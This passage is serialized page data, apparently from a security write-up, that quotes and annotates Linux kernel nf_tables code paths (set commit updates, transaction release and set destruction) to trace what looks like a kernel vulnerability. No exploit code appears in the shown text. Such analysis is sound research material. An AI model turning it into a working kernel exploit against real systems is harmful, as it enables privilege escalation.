list_del_rcu",{"type":21,"tag":198,"props":52892,"children":52893},{"style":211},[52894],{"type":27,"value":706},{"type":21,"tag":198,"props":52896,"children":52897},{"style":683},[52898],{"type":27,"value":3917},{"type":21,"tag":198,"props":52900,"children":52901},{"style":698},[52902],{"type":27,"value":52903},"nft_trans_set",{"type":21,"tag":198,"props":52905,"children":52906},{"style":211},[52907],{"type":27,"value":52860},{"type":21,"tag":198,"props":52909,"children":52910},{"style":226},[52911],{"type":27,"value":52912},"list",{"type":21,"tag":198,"props":52914,"children":52915},{"style":211},[52916],{"type":27,"value":1470},{"type":21,"tag":198,"props":52918,"children":52919},{"class":200,"line":344},[52920,52925,52929,52933,52938,52942,52946,52950,52954],{"type":21,"tag":198,"props":52921,"children":52922},{"style":698},[52923],{"type":27,"value":52924}," nf_tables_set_notify",{"type":21,"tag":198,"props":52926,"children":52927},{"style":211},[52928],{"type":27,"value":706},{"type":21,"tag":198,"props":52930,"children":52931},{"style":683},[52932],{"type":27,"value":3917},{"type":21,"tag":198,"props":52934,"children":52935},{"style":226},[52936],{"type":27,"value":52937},"trans",{"type":21,"tag":198,"props":52939,"children":52940},{"style":211},[52941],{"type":27,"value":14564},{"type":21,"tag":198,"props":52943,"children":52944},{"style":226},[52945],{"type":27,"value":21075},{"type":21,"tag":198,"props":52947,"children":52948},{"style":211},[52949],{"type":27,"value":828},{"type":21,"tag":198,"props":52951,"children":52952},{"style":698},[52953],{"type":27,"value":52903},{"type":21,"tag":198,"props":52955,"children":52956},{"style":211},[52957],{"type":27,"value":52958},"(trans),\n",{"type":21,"tag":198,"props":52960,"children":52961},{"class":200,"line":365},[52962,52967,52971,52976],{"type":21,"tag":198,"props":52963,"children":52964},{"style":226},[52965],{"type":27,"value":52966}," trans",{"type":21,"tag":198,"props":52968,"children":52969},{"style":211},[52970],{"type":27,"value":14564},{"type":21,"tag":198,"props":52972,"children":52973},{"style":226},[52974],{"type":27,"value":52975},"msg_type",{"type":21,"tag":198,"props":52977,"children":52978},{"style":211},[52979],{"type":27,"value":52980},", GFP_KERNEL);\n",{"type":21,"tag":198,"props":52982,"children":52983},{"class":200,"line":386},[52984,52989],{"type":21,"tag":198,"props":52985,"children":52986},{"style":640},[52987],{"type":27,"value":52988}," break",{"type":21,"tag":198,"props":52990,"children":52991},{"style":211},[52992],{"type":27,"value":1483},{"type":21,"tag":198,"props":52994,"children":52995},{"class":200,"line":408},[52996,53001],{"type":21,"tag":198,"props":52997,"children":52998},{"style":211},[52999],{"type":27,"value":53000}," case NFT_MSG_NEWSETELEM:",{"type":21,"tag":198,"props":53002,"children":53003},{"style":1233},[53004],{"type":27,"value":53005}," // [3]\n",{"type":21,"tag":198,"props":53007,"children":53008},{"class":200,"line":429},[53009],{"type":21,"tag":198,"props":53010,"children":53011},{"style":211},[53012],{"type":27,"value":11127},{"type":21,"tag":198,"props":53014,"children":53015},{"class":200,"line":450},[53016,53021,53025,53030,53034,53038,53042,53047,53051,53056],{"type":21,"tag":198,"props":53017,"children":53018},{"style":640},[53019],{"type":27,"value":53020}," if",{"type":21,"tag":198,"props":53022,"children":53023},{"style":211},[53024],{"type":27,"value":648},{"type":21,"tag":198,"props":53026,"children":53027},{"style":226},[53028],{"type":27,"value":53029},"te",{"type":21,"tag":198,"props":53031,"children":53032},{"style":211},[53033],{"type":27,"value":14564},{"type":21,"tag":198,"props":53035,"children":53036},{"style":226},[53037],{"type":27,"value":51395},{"type":21,"tag":198,"props":53039,"children":53040},{"style":211},[53041],{"type":27,"value":14564},{"type":21,"tag":198,"props":53043,"children":53044},{"style":226},[53045],{"type":27,"value":53046},"ops",{"type":21,"tag":198,"props":53048,"children":53049},{"style":211},[53050],{"type":27,"value":14564},{"type":21,"tag":198,"props":53052,"children":53053},{"style":226},[53054],{"type":27,"value":53055},"commit",{"type":21,"tag":198,"props":53057,"children":53058},{"style":683},[53059],{"type":27,"value":53060}," &&\n",{"type":21,"tag":198,"props":53062,"children":53063},{"class":200,"line":468},[53064,53069,53073,53077,53081,53085,53089,53093,53098],{"type":21,"tag":198,"props":53065,"children":53066},{"style":698},[53067],{"type":27,"value":53068}," list_empty",{"type":21,"tag":198,"props":53070,"children":53071},{"style":211},[53072],{"type":27,"value":706},{"type":21,"tag":198,"props":53074,"children":53075},{"style":683},[53076],{"type":27,"value":3917},{"type":21,"tag":198,"props":53078,"children":53079},{"style":226},[53080],{"type":27,"value":53029},{"type":21,"tag":198,"props":53082,"children":53083},{"style":211},[53084],{"type":27,"value":14564},{"type":21,"tag":198,"props":53086,"children":53087},{"style":226},[53088],{"type":27,"value":51395},{"type":21,"tag":198,"props":53090,"children":53091},{"style":211},[53092],{"type":27,"value":14564},{"type":21,"tag":198,"props":53094,"children":53095},{"style":226},[53096],{"type":27,"value":53097},"pending_update",{"type":21,"tag":198,"props":53099,"children":53100},{"style":211},[53101],{"type":27,"value":724},{"type":21,"tag":198,"props":53103,"children":53104},{"class":200,"line":477},[53105,53110,53114,53118,53122,53126,53130,53134,53138],{"type":21,"tag":198,"props":53106,"children":53107},{"style":698},[53108],{"type":27,"value":53109}," list_add_tail",{"type":21,"tag":198,"props":53111,"children":53112},{"style":211},[53113],{"type":27,"value":706},{"type":21,"tag":198,"props":53115,"children":53116},{"style":683},[53117],{"type":27,"value":3917},{"type":21,"tag":198,"props":53119,"children":53120},{"style":226},[53121],{"type":27,"value":53029},{"type":21,"tag":198,"props":53123,"children":53124},{"style":211},[53125],{"type":27,"value":14564},{"type":21,"tag":198,"props":53127,"children":53128},{"style":226},[53129],{"type":27,"value":51395},{"type":21,"tag":198,"props":53131,"children":53132},{"style":211},[53133],{"type":27,"value":14564},{"type":21,"tag":198,"props":53135,"children":53136},{"style":226},[53137],{"type":27,"value":53097},{"type":21,"tag":198,"props":53139,"children":53140},{"style":211},[53141],{"type":27,"value":257},{"type":21,"tag":198,"props":53143,"children":53144},{"class":200,"line":494},[53145,53150],{"type":21,"tag":198,"props":53146,"children":53147},{"style":683},[53148],{"type":27,"value":53149}," &",{"type":21,"tag":198,"props":53151,"children":53152},{"style":211},[53153],{"type":27,"value":53154},"set_update_list);\n",{"type":21,"tag":198,"props":53156,"children":53157},{"class":200,"line":515},[53158],{"type":21,"tag":198,"props":53159,"children":53160},{"style":211},[53161],{"type":27,"value":35525},{"type":21,"tag":198,"props":53163,"children":53164},{"class":200,"line":4484},[53165],{"type":21,"tag":198,"props":53166,"children":53167},{"style":211},[53168],{"type":27,"value":11127},{"type":21,"tag":198,"props":53170,"children":53171},{"class":200,"line":4493},[53172],{"type":21,"tag":198,"props":53173,"children":53174},{"style":211},[53175],{"type":27,"value":1909},{"type":21,"tag":198,"props":53177,"children":53178},{"class":200,"line":4561},[53179],{"type":21,"tag":198,"props":53180,"children":53181},{"emptyLinePlaceholder":16},[53182],{"type":27,"value":1283},{"type":21,"tag":198,"props":53184,"children":53185},{"class":200,"line":4569},[53186,53191,53195,53199,53204],{"type":21,"tag":198,"props":53187,"children":53188},{"style":698},[53189],{"type":27,"value":53190}," nft_set_commit_update",{"type":21,"tag":198,"props":53192,"children":53193},{"style":211},[53194],{"type":27,"value":706},{"type":21,"tag":198,"props":53196,"children":53197},{"style":683},[53198],{"type":27,"value":3917},{"type":21,"tag":198,"props":53200,"children":53201},{"style":226},[53202],{"type":27,"value":53203},"set_update_list",{"type":21,"tag":198,"props":53205,"children":53206},{"style":211},[53207],{"type":27,"value":1470},{"type":21,"tag":198,"props":53209,"children":53210},{"class":200,"line":4599},[53211],{"type":21,"tag":198,"props":53212,"children":53213},{"style":211},[53214],{"type":27,"value":11127},{"type":21,"tag":198,"props":53216,"children":53217},{"class":200,"line":4607},[53218,53223],{"type":21,"tag":198,"props":53219,"children":53220},{"style":698},[53221],{"type":27,"value":53222}," nf_tables_commit_release",{"type":21,"tag":198,"props":53224,"children":53225},{"style":211},[53226],{"type":27,"value":53227},"(net);\n",{"type":21,"tag":198,"props":53229,"children":53230},{"class":200,"line":4638},[53231],{"type":21,"tag":198,"props":53232,"children":53233},{"emptyLinePlaceholder":16},[53234],{"type":27,"value":1283},{"type":21,"tag":198,"props":53236,"children":53237},{"class":200,"line":4646},[53238,53243,53247],{"type":21,"tag":198,"props":53239,"children":53240},{"style":640},[53241],{"type":27,"value":53242}," return",{"type":21,"tag":198,"props":53244,"children":53245},{"style":2540},[53246],{"type":27,"value":3855},{"type":21,"tag":198,"props":53248,"children":53249},{"style":211},[53250],{"type":27,"value":1483},{"type":21,"tag":198,"props":53252,"children":53253},{"class":200,"line":4706},[53254],{"type":21,"tag":198,"props":53255,"children":53256},{"style":211},[53257],{"type":27,"value":1120},{"type":21,"tag":30,"props":53259,"children":53260},{},[53261,53262,53268,53270,53275],{"type":27,"value":534},{"type":21,"tag":194,"props":53263,"children":53265},{"className":53264},[],[53266],{"type":27,"value":53267},"nft_set_commit_update()",{"type":27,"value":53269}," function in the code above will call the ",{"type":21,"tag":194,"props":53271,"children":53273},{"className":53272},[],[53274],{"type":27,"value":52721},{"type":27,"value":53276}," method for any objects that were marked as pending an update.",{"type":21,"tag":187,"props":53278,"children":53280},{"className":17318,"code":53279,"language":3954,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[53281],{"type":21,"tag":194,"props":53282,"children":53283},{"__ignoreMap":7},[53284,53324,53331,53360,53367,53380,53412,53419,53480,53491,53498,53532,53539],{"type":21,"tag":198,"props":53285,"children":53286},{"class":200,"line":201},[53287,53291,53295,53299,53303,53307,53312,53316,53320],{"type":21,"tag":198,"props":53288,"children":53289},{"style":249},[53290],{"type":27,"value":51420},{"type":21,"tag":198,"props":53292,"children":53293},{"style":249},[53294],{"type":27,"value":51425},{"type":21,"tag":198,"props":53296,"children":53297},{"style":698},[53298],{"type":27,"value":53190},{"type":21,"tag":198,"props":53300,"children":53301},{"style":211},[53302],{"type":27,"value":706},{"type":21,"tag":198,"props":53304,"children":53305},{"style":249},[53306],{"type":27,"value":10213},{"type":21,"tag":198,"props":53308,"children":53309},{"style":211},[53310],{"type":27,"value":53311}," list_head ",{"type":21,"tag":198,"props":53313,"children":53314},{"style":683},[53315],{"type":27,"value":5383},{"type":21,"tag":198,"props":53317,"children":53318},{"style":226},[53319],{"type":27,"value":53203},{"type":21,"tag":198,"props":53321,"children":53322},{"style":211},[53323],{"type":27,"value":789},{"type":21,"tag":198,"props":53325,"children":53326},{"class":200,"line":217},[53327],{"type":21,"tag":198,"props":53328,"children":53329},{"style":211},[53330],{"type":27,"value":11689},{"type":21,"tag":198,"props":53332,"children":53333},{"class":200,"line":236},[53334,53338,53342,53346,53351,53355],{"type":21,"tag":198,"props":53335,"children":53336},{"style":249},[53337],{"type":27,"value":21944},{"type":21,"tag":198,"props":53339,"children":53340},{"style":211},[53341],{"type":27,"value":51475},{"type":21,"tag":198,"props":53343,"children":53344},{"style":683},[53345],{"type":27,"value":5383},{"type":21,"tag":198,"props":53347,"children":53348},{"style":211},[53349],{"type":27,"value":53350},"set, ",{"type":21,"tag":198,"props":53352,"children":53353},{"style":683},[53354],{"type":27,"value":5383},{"type":21,"tag":198,"props":53356,"children":53357},{"style":211},[53358],{"type":27,"value":53359},"next;\n",{"type":21,"tag":198,"props":53361,"children":53362},{"class":200,"line":260},[53363],{"type":21,"tag":198,"props":53364,"children":53365},{"emptyLinePlaceholder":16},[53366],{"type":27,"value":1283},{"type":21,"tag":198,"props":53368,"children":53369},{"class":200,"line":281},[53370,53375],{"type":21,"tag":198,"props":53371,"children":53372},{"style":698},[53373],{"type":27,"value":53374}," list_for_each_entry_safe",{"type":21,"tag":198,"props":53376,"children":53377},{"style":211},[53378],{"type":27,"value":53379},"(set, next, set_update_list, pending_update) {\n",{"type":21,"tag":198,"props":53381,"children":53382},{"class":200,"line":302},[53383,53388,53392,53396,53400,53404,53408],{"type":21,"tag":198,"props":53384,"children":53385},{"style":698},[53386],{"type":27,"value":53387}," list_del_init",{"type":21,"tag":198,"props":53389,"children":53390},{"style":211},[53391],{"type":27,"value":706},{"type":21,"tag":198,"props":53393,"children":53394},{"style":683},[53395],{"type":27,"value":3917},{"type":21,"tag":198,"props":53397,"children":53398},{"style":226},[53399],{"type":27,"value":51395},{"type":21,"tag":198,"props":53401,"children":53402},{"style":211},[53403],{"type":27,"value":14564},{"type":21,"tag":198,"props":53405,"children":53406},{"style":226},[53407],{"type":27,"value":53097},{"type":21,"tag":198,"props":53409,"children":53410},{"style":211},[53411],{"type":27,"value":1470},{"type":21,"tag":198,"props":53413,"children":53414},{"class":200,"line":323},[53415],{"type":21,"tag":198,"props":53416,"children":53417},{"emptyLinePlaceholder":16},[53418],{"type":27,"value":1283},{"type":21,"tag":198,"props":53420,"children":53421},{"class":200,"line":344},[53422,53426,53430,53434,53438,53442,53446,53450,53454,53458,53463,53467,53471,53475],{"type":21,"tag":198,"props":53423,"children":53424},{"style":640},[53425],{"type":27,"value":1036},{"type":21,"tag":198,"props":53427,"children":53428},{"style":211},[53429],{"type":27,"value":648},{"type":21,"tag":198,"props":53431,"children":53432},{"style":683},[53433],{"type":27,"value":686},{"type":21,"tag":198,"props":53435,"children":53436},{"style":226},[53437],{"type":27,"value":51395},{"type":21,"tag":198,"props":53439,"children":53440},{"style":211},[53441],{"type":27,"value":14564},{"type":21,"tag":198,"props":53443,"children":53444},{"style":226},[53445],{"type":27,"value":53046},{"type":21,"tag":198,"props":53447,"children":53448},{"style":211},[53449],{"type":27,"value":14564},{"type":21,"tag":198,"props":53451,"children":53452},{"style":226},[53453],{"type":27,"value":53055},{"type":21,"tag":198,"props":53455,"children":53456},{"style":683},[53457],{"type":27,"value":24501},{"type":21,"tag":198,"props":53459,"children":53460},{"style":226},[53461],{"type":27,"value":53462}," set",{"type":21,"tag":198,"props":53464,"children":53465},{"style":211},[53466],{"type":27,"value":14564},{"type":21,"tag":198,"props":53468,"children":53469},{"style":226},[53470],{"type":27,"value":52865},{"type":21,"tag":198,"props":53472,"children":53473},{"style":211},[53474],{"type":27,"value":2109},{"type":21,"tag":198,"props":53476,"children":53477},{"style":1233},[53478],{"type":27,"value":53479}," // [4]\n",{"type":21,"tag":198,"props":53481,"children":53482},{"class":200,"line":365},[53483,53487],{"type":21,"tag":198,"props":53484,"children":53485},{"style":640},[53486],{"type":27,"value":51867},{"type":21,"tag":198,"props":53488,"children":53489},{"style":211},[53490],{"type":27,"value":1483},{"type":21,"tag":198,"props":53492,"children":53493},{"class":200,"line":386},[53494],{"type":21,"tag":198,"props":53495,"children":53496},{"emptyLinePlaceholder":16},[53497],{"type":27,"value":1283},{"type":21,"tag":198,"props":53499,"children":53500},{"class":200,"line":408},[53501,53506,53510,53514,53518,53522,53527],{"type":21,"tag":198,"props":53502,"children":53503},{"style":226},[53504],{"type":27,"value":53505}," set",{"type":21,"tag":198,"props":53507,"children":53508},{"style":211},[53509],{"type":27,"value":14564},{"type":21,"tag":198,"props":53511,"children":53512},{"style":226},[53513],{"type":27,"value":53046},{"type":21,"tag":198,"props":53515,"children":53516},{"style":211},[53517],{"type":27,"value":14564},{"type":21,"tag":198,"props":53519,"children":53520},{"style":698},[53521],{"type":27,"value":53055},{"type":21,"tag":198,"props":53523,"children":53524},{"style":211},[53525],{"type":27,"value":53526},"(set);",{"type":21,"tag":198,"props":53528,"children":53529},{"style":1233},[53530],{"type":27,"value":53531}," // [5]\n",{"type":21,"tag":198,"props":53533,"children":53534},{"class":200,"line":429},[53535],{"type":21,"tag":198,"props":53536,"children":53537},{"style":211},[53538],{"type":27,"value":1909},{"type":21,"tag":198,"props":53540,"children":53541},{"class":200,"line":450},[53542],{"type":21,"tag":198,"props":53543,"children":53544},{"style":211},[53545],{"type":27,"value":1120},{"type":21,"tag":30,"props":53547,"children":53548},{},[53549,53551,53557,53559,53564,53565,53570],{"type":27,"value":53550},"Later on, the ",{"type":21,"tag":194,"props":53552,"children":53554},{"className":53553},[],[53555],{"type":27,"value":53556},"nf_tables_commit_release()",{"type":27,"value":53558}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":21,"tag":194,"props":53560,"children":53562},{"className":53561},[],[53563],{"type":27,"value":51395},{"type":27,"value":52715},{"type":21,"tag":194,"props":53566,"children":53568},{"className":53567},[],[53569],{"type":27,"value":52729},{"type":27,"value":53571}," method.",{"type":21,"tag":187,"props":53573,"children":53575},{"className":17318,"code":53574,"language":3954,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[53576],{"type":21,"tag":194,"props":53577,"children":53578},{"__ignoreMap":7},[53579,53618,53625,53632,53653,53660,53667,53674,53715,53722,53729,53750,53763,53775,53782,53789,53796,53837,53844,53872,53879,53892,53904,53945,53952,53959,53966,54024,54031,54038,54067,54074],{"type":21,"tag":198,"props":53580,"children":53581},{"class":200,"line":201},[53582,53586,53590,53594,53598,53602,53606,53610,53614],{"type":21,"tag":198,"props":53583,"children":53584},{"style":249},[53585],{"type":27,"value":51420},{"type":21,"tag":198,"props":53587,"children":53588},{"style":249},[53589],{"type":27,"value":51425},{"type":21,"tag":198,"props":53591,"children":53592},{"style":698},[53593],{"type":27,"value":53222},{"type":21,"tag":198,"props":53595,"children":53596},{"style":211},[53597],{"type":27,"value":706},{"type":21,"tag":198,"props":53599,"children":53600},{"style":249},[53601],{"type":27,"value":10213},{"type":21,"tag":198,"props":53603,"children":53604},{"style":211},[53605],{"type":27,"value":52378},{"type":21,"tag":198,"props":53607,"children":53608},{"style":683},[53609],{"type":27,"value":5383},{"type":21,"tag":198,"props":53611,"children":53612},{"style":226},[53613],{"type":27,"value":52387},{"type":21,"tag":198,"props":53615,"children":53616},{"style":211},[53617],{"type":27,"value":789},{"type":21,"tag":198,"props":53619,"children":53620},{"class":200,"line":217},[53621],{"type":21,"tag":198,"props":53622,"children":53623},{"style":211},[53624],{"type":27,"value":11689},{"type":21,"tag":198,"props":53626,"children":53627},{"class":200,"line":236},[53628],{"type":21,"tag":198,"props":53629,"children":53630},{"style":211},[53631],{"type":27,"value":11127},{"type":21,"tag":198,"props":53633,"children":53634},{"class":200,"line":260},[53635,53640,53644,53648],{"type":21,"tag":198,"props":53636,"children":53637},{"style":698},[53638],{"type":27,"value":53639}," schedule_work",{"type":21,"tag":198,"props":53641,"children":53642},{"style":211},[53643],{"type":27,"value":706},{"type":21,"tag":198,"props":53645,"children":53646},{"style":683},[53647],{"type":27,"value":3917},{"type":21,"tag":198,"props":53649,"children":53650},{"style":211},[53651],{"type":27,"value":53652},"trans_destroy_work);\n",{"type":21,"tag":198,"props":53654,"children":53655},{"class":200,"line":281},[53656],{"type":21,"tag":198,"props":53657,"children":53658},{"style":211},[53659],{"type":27,"value":11127},{"type":21,"tag":198,"props":53661,"children":53662},{"class":200,"line":302},[53663],{"type":21,"tag":198,"props":53664,"children":53665},{"style":211},[53666],{"type":27,"value":1120},{"type":21,"tag":198,"props":53668,"children":53669},{"class":200,"line":323},[53670],{"type":21,"tag":198,"props":53671,"children":53672},{"style":211},[53673],{"type":27,"value":11127},{"type":21,"tag":198,"props":53675,"children":53676},{"class":200,"line":344},[53677,53681,53685,53690,53694,53698,53703,53707,53711],{"type":21,"tag":198,"props":53678,"children":53679},{"style":249},[53680],{"type":27,"value":51420},{"type":21,"tag":198,"props":53682,"children":53683},{"style":249},[53684],{"type":27,"value":51425},{"type":21,"tag":198,"props":53686,"children":53687},{"style":698},[53688],{"type":27,"value":53689}," nf_tables_trans_destroy_work",{"type":21,"tag":198,"props":53691,"children":53692},{"style":211},[53693],{"type":27,"value":706},{"type":21,"tag":198,"props":53695,"children":53696},{"style":249},[53697],{"type":27,"value":10213},{"type":21,"tag":198,"props":53699,"children":53700},{"style":211},[53701],{"type":27,"value":53702}," work_struct ",{"type":21,"tag":198,"props":53704,"children":53705},{"style":683},[53706],{"type":27,"value":5383},{"type":21,"tag":198,"props":53708,"children":53709},{"style":226},[53710],{"type":27,"value":2692},{"type":21,"tag":198,"props":53712,"children":53713},{"style":211},[53714],{"type":27,"value":789},{"type":21,"tag":198,"props":53716,"children":53717},{"class":200,"line":365},[53718],{"type":21,"tag":198,"props":53719,"children":53720},{"style":211},[53721],{"type":27,"value":11689},{"type":21,"tag":198,"props":53723,"children":53724},{"class":200,"line":386},[53725],{"type":21,"tag":198,"props":53726,"children":53727},{"style":211},[53728],{"type":27,"value":11127},{"type":21,"tag":198,"props":53730,"children":53731},{"class":200,"line":408},[53732,53736,53741,53745],{"type":21,"tag":198,"props":53733,"children":53734},{"style":698},[53735],{"type":27,"value":53374},{"type":21,"tag":198,"props":53737,"children":53738},{"style":211},[53739],{"type":27,"value":53740},"(trans, next, ",{"type":21,"tag":198,"props":53742,"children":53743},{"style":683},[53744],{"type":27,"value":3917},{"type":21,"tag":198,"props":53746,"children":53747},{"style":211},[53748],{"type":27,"value":53749},"head, list) {\n",{"type":21,"tag":198,"props":53751,"children":53752},{"class":200,"line":429},[53753,53758],{"type":21,"tag":198,"props":53754,"children":53755},{"style":698},[53756],{"type":27,"value":53757}," nft_trans_list_del",{"type":21,"tag":198,"props":53759,"children":53760},{"style":211},[53761],{"type":27,"value":53762},"(trans);\n",{"type":21,"tag":198,"props":53764,"children":53765},{"class":200,"line":450},[53766,53771],{"type":21,"tag":198,"props":53767,"children":53768},{"style":698},[53769],{"type":27,"value":53770}," nft_commit_release",{"type":21,"tag":198,"props":53772,"children":53773},{"style":211},[53774],{"type":27,"value":53762},{"type":21,"tag":198,"props":53776,"children":53777},{"class":200,"line":468},[53778],{"type":21,"tag":198,"props":53779,"children":53780},{"style":211},[53781],{"type":27,"value":1909},{"type":21,"tag":198,"props":53783,"children":53784},{"class":200,"line":477},[53785],{"type":21,"tag":198,"props":53786,"children":53787},{"style":211},[53788],{"type":27,"value":1120},{"type":21,"tag":198,"props":53790,"children":53791},{"class":200,"line":494},[53792],{"type":21,"tag":198,"props":53793,"children":53794},{"style":211},[53795],{"type":27,"value":11127},{"type":21,"tag":198,"props":53797,"children":53798},{"class":200,"line":515},[53799,53803,53807,53812,53816,53820,53825,53829,53833],{"type":21,"tag":198,"props":53800,"children":53801},{"style":249},[53802],{"type":27,"value":51420},{"type":21,"tag":198,"props":53804,"children":53805},{"style":249},[53806],{"type":27,"value":51425},{"type":21,"tag":198,"props":53808,"children":53809},{"style":698},[53810],{"type":27,"value":53811}," nft_commit_release",{"type":21,"tag":198,"props":53813,"children":53814},{"style":211},[53815],{"type":27,"value":706},{"type":21,"tag":198,"props":53817,"children":53818},{"style":249},[53819],{"type":27,"value":10213},{"type":21,"tag":198,"props":53821,"children":53822},{"style":211},[53823],{"type":27,"value":53824}," nft_trans ",{"type":21,"tag":198,"props":53826,"children":53827},{"style":683},[53828],{"type":27,"value":5383},{"type":21,"tag":198,"props":53830,"children":53831},{"style":226},[53832],{"type":27,"value":52937},{"type":21,"tag":198,"props":53834,"children":53835},{"style":211},[53836],{"type":27,"value":789},{"type":21,"tag":198,"props":53838,"children":53839},{"class":200,"line":4484},[53840],{"type":21,"tag":198,"props":53841,"children":53842},{"style":211},[53843],{"type":27,"value":11689},{"type":21,"tag":198,"props":53845,"children":53846},{"class":200,"line":4493},[53847,53852,53856,53860,53864,53868],{"type":21,"tag":198,"props":53848,"children":53849},{"style":640},[53850],{"type":27,"value":53851}," switch",{"type":21,"tag":198,"props":53853,"children":53854},{"style":211},[53855],{"type":27,"value":648},{"type":21,"tag":198,"props":53857,"children":53858},{"style":226},[53859],{"type":27,"value":52937},{"type":21,"tag":198,"props":53861,"children":53862},{"style":211},[53863],{"type":27,"value":14564},{"type":21,"tag":198,"props":53865,"children":53866},{"style":226},[53867],{"type":27,"value":52975},{"type":21,"tag":198,"props":53869,"children":53870},{"style":211},[53871],{"type":27,"value":668},{"type":21,"tag":198,"props":53873,"children":53874},{"class":200,"line":4561},[53875],{"type":21,"tag":198,"props":53876,"children":53877},{"style":211},[53878],{"type":27,"value":11127},{"type":21,"tag":198,"props":53880,"children":53881},{"class":200,"line":4569},[53882,53887],{"type":21,"tag":198,"props":53883,"children":53884},{"style":640},[53885],{"type":27,"value":53886}," case",{"type":21,"tag":198,"props":53888,"children":53889},{"style":211},[53890],{"type":27,"value":53891}," NFT_MSG_DELSET:\n",{"type":21,"tag":198,"props":53893,"children":53894},{"class":200,"line":4599},[53895,53899],{"type":21,"tag":198,"props":53896,"children":53897},{"style":640},[53898],{"type":27,"value":53886},{"type":21,"tag":198,"props":53900,"children":53901},{"style":211},[53902],{"type":27,"value":53903}," NFT_MSG_DESTROYSET:\n",{"type":21,"tag":198,"props":53905,"children":53906},{"class":200,"line":4607},[53907,53912,53916,53920,53924,53928,53932,53936,53940],{"type":21,"tag":198,"props":53908,"children":53909},{"style":698},[53910],{"type":27,"value":53911}," nft_set_destroy",{"type":21,"tag":198,"props":53913,"children":53914},{"style":211},[53915],{"type":27,"value":706},{"type":21,"tag":198,"props":53917,"children":53918},{"style":683},[53919],{"type":27,"value":3917},{"type":21,"tag":198,"props":53921,"children":53922},{"style":211},[53923],{"type":27,"value":52937},{"type":21,"tag":198,"props":53925,"children":53926},{"style":683},[53927],{"type":27,"value":14564},{"type":21,"tag":198,"props":53929,"children":53930},{"style":226},[53931],{"type":27,"value":21075},{"type":21,"tag":198,"props":53933,"children":53934},{"style":211},[53935],{"type":27,"value":828},{"type":21,"tag":198,"props":53937,"children":53938},{"style":698},[53939],{"type":27,"value":52903},{"type":21,"tag":198,"props":53941,"children":53942},{"style":211},[53943],{"type":27,"value":53944},"(trans));\n",{"type":21,"tag":198,"props":53946,"children":53947},{"class":200,"line":4638},[53948],{"type":21,"tag":198,"props":53949,"children":53950},{"style":211},[53951],{"type":27,"value":11127},{"type":21,"tag":198,"props":53953,"children":53954},{"class":200,"line":4646},[53955],{"type":21,"tag":198,"props":53956,"children":53957},{"style":211},[53958],{"type":27,"value":1120},{"type":21,"tag":198,"props":53960,"children":53961},{"class":200,"line":4706},[53962],{"type":21,"tag":198,"props":53963,"children":53964},{"style":211},[53965],{"type":27,"value":11127},{"type":21,"tag":198,"props":53967,"children":53968},{"class":200,"line":9857},[53969,53973,53977,53982,53986,53990,53994,53998,54002,54007,54011,54015,54019],{"type":21,"tag":198,"props":53970,"children":53971},{"style":249},[53972],{"type":27,"value":51420},{"type":21,"tag":198,"props":53974,"children":53975},{"style":249},[53976],{"type":27,"value":51425},{"type":21,"tag":198,"props":53978,"children":53979},{"style":698},[53980],{"type":27,"value":53981}," nft_set_destroy",{"type":21,"tag":198,"props":53983,"children":53984},{"style":211},[53985],{"type":27,"value":706},{"type":21,"tag":198,"props":53987,"children":53988},{"style":249},[53989],{"type":27,"value":2648},{"type":21,"tag":198,"props":53991,"children":53992},{"style":249},[53993],{"type":27,"value":21944},{"type":21,"tag":198,"props":53995,"children":53996},{"style":211},[53997],{"type":27,"value":51447},{"type":21,"tag":198,"props":53999,"children":54000},{"style":683},[54001],{"type":27,"value":5383},{"type":21,"tag":198,"props":54003,"children":54004},{"style":211},[54005],{"type":27,"value":54006},"ctx, ",{"type":21,"tag":198,"props":54008,"children":54009},{"style":249},[54010],{"type":27,"value":10213},{"type":21,"tag":198,"props":54012,"children":54013},{"style":211},[54014],{"type":27,"value":51475},{"type":21,"tag":198,"props":54016,"children":54017},{"style":683},[54018],{"type":27,"value":5383},{"type":21,"tag":198,"props":54020,"children":54021},{"style":211},[54022],{"type":27,"value":54023},"set)\n",{"type":21,"tag":198,"props":54025,"children":54026},{"class":200,"line":9875},[54027],{"type":21,"tag":198,"props":54028,"children":54029},{"style":211},[54030],{"type":27,"value":11689},{"type":21,"tag":198,"props":54032,"children":54033},{"class":200,"line":9920},[54034],{"type":21,"tag":198,"props":54035,"children":54036},{"style":211},[54037],{"type":27,"value":11127},{"type":21,"tag":198,"props":54039,"children":54040},{"class":200,"line":10026},[54041,54045,54049,54053,54057,54062],{"type":21,"tag":198,"props":54042,"children":54043},{"style":226},[54044],{"type":27,"value":53462},{"type":21,"tag":198,"props":54046,"children":54047},{"style":211},[54048],{"type":27,"value":14564},{"type":21,"tag":198,"props":54050,"children":54051},{"style":226},[54052],{"type":27,"value":53046},{"type":21,"tag":198,"props":54054,"children":54055},{"style":211},[54056],{"type":27,"value":14564},{"type":21,"tag":198,"props":54058,"children":54059},{"style":698},[54060],{"type":27,"value":54061},"destroy",{"type":21,"tag":198,"props":54063,"children":54064},{"style":211},[54065],{"type":27,"value":54066},"(ctx, 